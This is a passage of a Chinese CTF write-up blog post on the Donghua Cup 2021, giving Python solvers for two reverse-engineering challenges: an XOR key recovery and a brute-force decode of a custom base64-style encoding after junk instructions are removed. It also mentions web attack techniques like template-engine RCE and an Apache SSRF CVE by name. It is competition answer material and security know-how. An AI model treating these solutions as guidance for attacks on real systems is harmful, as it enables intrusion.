0x66, 0x30, 0x37, 0x62, 0x31, 0x37, 0x31, 0x63, 0x31, 0x34, 0x37, 0x36, 0x63, 0x39, 0x61, 0x66, 0x35, 0x61, 0x31, 0x65, 0x62, 0x61, 0x30, 0x62, 0x66, 0x36, 0x36, 0x31, 0x36, 0x65, 0x32, 0x31, 0x39, 0x63, 0x30, 0x62, 0x39, 0x65, 0x31, 0x32, 0x39, 0x39, 0x64, 0x30, 0x39, 0x66, 0x65, 0x63, 0x64, 0x65, 0x64, 0x32, 0x34, 0x61, 0x38, 0x38, 0x30, 0x33, 0x39, 0x37, 0x66, 0x39, 0x32, 0x65, 0x30, 0x66, 0x39, 0x39, 0x64, 0x38, 0x39, 0x35, 0x31, 0x32, 0x32, 0x38, 0x63, 0x37, 0x37, 0x37, 0x30, 0x63, 0x31, 0x38, 0x34, 0x66, 0x64, 0x37, 0x37, 0x61, 0x64, 0x66, 0x66, 0x39, 0x34, 0x33, 0x62, 0x66, 0x63, 0x38, 0x62, 0x36, 0x61, 0x61, 0x35, 0x32, 0x34, 0x63, 0x35, 0x66, 0x30, 0x61, 0x36, 0x64, 0x37, 0x36, 0x38, 0x36, 0x66, 0x65, 0x33, 0x35, 0x34, 0x38, 0x36, 0x0, 0x20, 0x2a, 0x20, 0x72, 0x61, 0x64, 0x69, 0x69, 0x20, 0x2b, 0x20, 0x61, 0x61, 0x5f, 0x6f, 0x75, 0x74, 0x73, 0x65, 0x74, 0x3b, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x60, 0x1, 0xcb, 0x8, 0x7c, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x50, 0x72, 0x6f, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x80, 0x3f, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x80, 0x3f, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x80, 0x3f, 0x10, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x3d, 0x20, 0x63, 0x6f, 0x72, 0x6e, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x73, 0x5f, 0x6f, 0x75, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xd0, 0xc4, 0xe, 0x77, 0x7b, 0x0, 0x0, 0x0, 0x18, 0xc5, 0xe, 0x77, 0x7b, 0x0, 0x0, 0x0, 0x28, 0xc9, 0xe, 0x77, 0x7b, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x48, 0x49, 0x1a, 0x77, 0x7b, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x6c, 0x69, 0x6e, 0x65, 0x61, 0x72, 0x5f, 0x63, 0x6f, 0x76, 0x65, 0x72, 0x61, 0x67, 0x65, 0x20, 0x3d, 0x20, 0x61, 0x61, 0x5f, 0x62, 0x6c, 0x6f, 0x61, 0x74, 0x5f, 0x61, 0x6e, 0x64, 0x5f, 0x63, 0x6f, 0x76, 0x65, 0x72, 0x61, 0x67, 0x65, 0x2e, 0x77, 0x3b, 0x66, 0x6c, 0x6f, 0x61, 0x74, 0x32, 0x20, 0x70, 0x69, 0x78, 0x65, 0x6c, 0x6c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x20, 0x3d, 0x20, 0x69, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x73, 0x71, 0x72, 0x74, 0x28, 0x66, 0x6c, 0x6f, 0x61, 0x74, 0x32, 0x28, 0x64, 0x6f, 0x74, 0x28, 0x73, 0x6b, 0x65, 0x77, 0x2e, 0x78, 0x7a, 0x2c, 0x20, 0x73, 0x6b, 0x65, 0x77, 0x2e, 0x78, 0x7a, 0x29, 0x2c, 0x20, 0x64, 0x6f, 0x74, 0x28, 0x73, 0x6b, 0x65, 0x77, 0x2e, 0x79, 0x77, 0x2c, 0x20, 0x73, 0x6b, 0x65, 0x77, 0x2e, 0x79, 0x77, 0x29, 0x29, 0x29, 0x3b, 0x66, 0x6c, 0x6f, 0x61, 0x74, 0x34, 0x20, 0x6e, 0x6f, 0x72, 0x6d, 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x64, 0x5f, 0x61, 0x78, 0x69, 0x73, 0x5f, 0x64, 0x69, 0x72, 0x73, 0x20, 0x3d, 0x20, 0x73, 0x6b, 0x65, 0x77, 0x20, 0x2a, 0x20, 0x70, 0x69, 0x78, 0x65, 0x6c, 0x6c, 0x65, 0x6e, 0x67, 0x74, 0x68, 0x2e, 0x78, 0x79, 0x78, 0x79, 0x3b, 0x66, 0x6c, 0x6f, 0x61, 0x74, 0x32, 0x20, 0x61, 0x78, 0x69, 0x73, 0x77, 0x69, 0x64, 0x74, 0x68, 0x73, 0x20, 0x3d, 0x20, 0x28, 0x61, 0x62, 0x73, 0x28, 0x6e, 0x6f, 0x72, 0x6d, 0x61, 0x6c, 0x69, 0x7a, 0x65, 0x64, 0x5f, 0x61, 0x78, 0x69, 0x73, 0x5f, 0x64, 0x69, 0x72, 0x73, 0x2e, 0x78, 0x79, 0x29]
for i in range(42):
    target[i] = (target[i] << 3) | (target[i] >> 5);
target[0] ^= sig[327];
for i in range(1, 42):
    target[i] ^= sig[354 + 27 * (i - 1)] + i;
print(''.join(map(lambda x: chr(x & 0xff), target)));

ooo

如何解呢?

附件下载 提取码(GAME)备用下载

使用输入字符串的第7、8、9位异或的值对全字符串进行异或,并于最终结果进行比较。

值得注意的是最终结果的7、8、9位异或并不为0,说明该段内存中的值被改变过,可以找到在401D94处的函数对最终结果做了一个异或0x17的操作。

猜测 flag 第一位为 f,即可解出该题。

key = [17,283,534,784,1036,1350,1604,1809,2116,2370,2625,2881,3140,3418,3650,3911,4118,4419,4698,4931,5184,5440,5653,5978,6213,6464,6735,6933,7258,7445,7744,8006,8262,8519,8773,9025,9233,9489,9792,10006,10259,10506]
key = [i ^ 0x17 for i in key]
print(''.join([chr((i ^ key[0] ^ ord('f')) & 0xff) for i in key]))

mod

花花总喜欢把东西隐藏起来。

附件下载 提取码(GAME)备用下载

代码中存在两处花指令,分别为4013E4与401203。

去除花指令后,可以看出代码对输入进行三个一组的编码,爆破即可。

charset = 'ABCDFEGH1JKLRSTMNP0VWQUXY2a8cdefijklmnopghwxyqrstuvzOIZ34567b9+/'
enc = [charset.index(
    i) for i in '2aYcdfL2fS1BTMMF1RSeMTTASS1OJ8RHTJdBYJ2STJfNMSMAYcKUJddp']
res = []


def f(i):
    for a1 in range(32, 128):
        for a2 in range(32, 128):
            for a3 in range(32, 128):
                a = [a1, a2, a3]
                if enc[4 * i] == (((a[2] & 3) << 2) | a[1] & 0x30 | a[0] & 0xC0) >> 2 \
                        and enc[4 * i + 1] == (((a[0] & 3) << 2) | a[2] & 0x30 | a[1] & 0xC0) >> 2 \
                        and enc[4 * i + 2] == (((a[1] & 3) << 2) | a[0] & 0x30 | a[2] & 0xC0) >> 2 \
                        and enc[4 * i + 3] == (a[2] & 0xC | (a[1] << 2) & 0x30 | (a[0] << 4) & 0xC0) >> 2:
                    print(''.join(map(chr, a)), end='')
                    return


for i in range(0, len(enc) // 4):
    f(i)
print()
# flag{5a073724-8223-413d-11fa-d53b133df89e}

小结

往年的这个比赛都挺水的,不过不懂为啥,今年开始这比赛也卷起来了。

比如这次的 web 题还是挺难的,有道 Java 题目要自己构造恶意类进行反序列化,可惜喵喵目前还不会 Java,其他师傅说会 Java 就能出,喵喵哭哭。

有个 nodejs 考的是数组 bypass SQL 注入 + hbs 模板引擎 RCE,还是有点巧妙的,咱没想到。

东华杯2021-WEB-WriteUp eznode

东华杯WEB 赛后复现

还有个 Apache 的反代,内网是个 weblogic,听说就两个 CVE 一打就行,然而喵喵不会,呜呜。

Apache mod_proxy SSRF(CVE-2021-40438)的一点分析和延伸

噢你问我为啥不做 pwn,因为队友学弟看到堆题直接跑了(摊手.jpg,怎么大家都会 pwn 啊

喵喵好菜啊!!!

摸了摸了,咱全国总排名 43,上海市排第三,喵喵摸大鱼去了。

(笑死,这比赛上海就没啥队伍打的亚子,签个到都能进决赛

再看看前面的大佬有多卷,喵呜!

(溜了溜了喵~


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录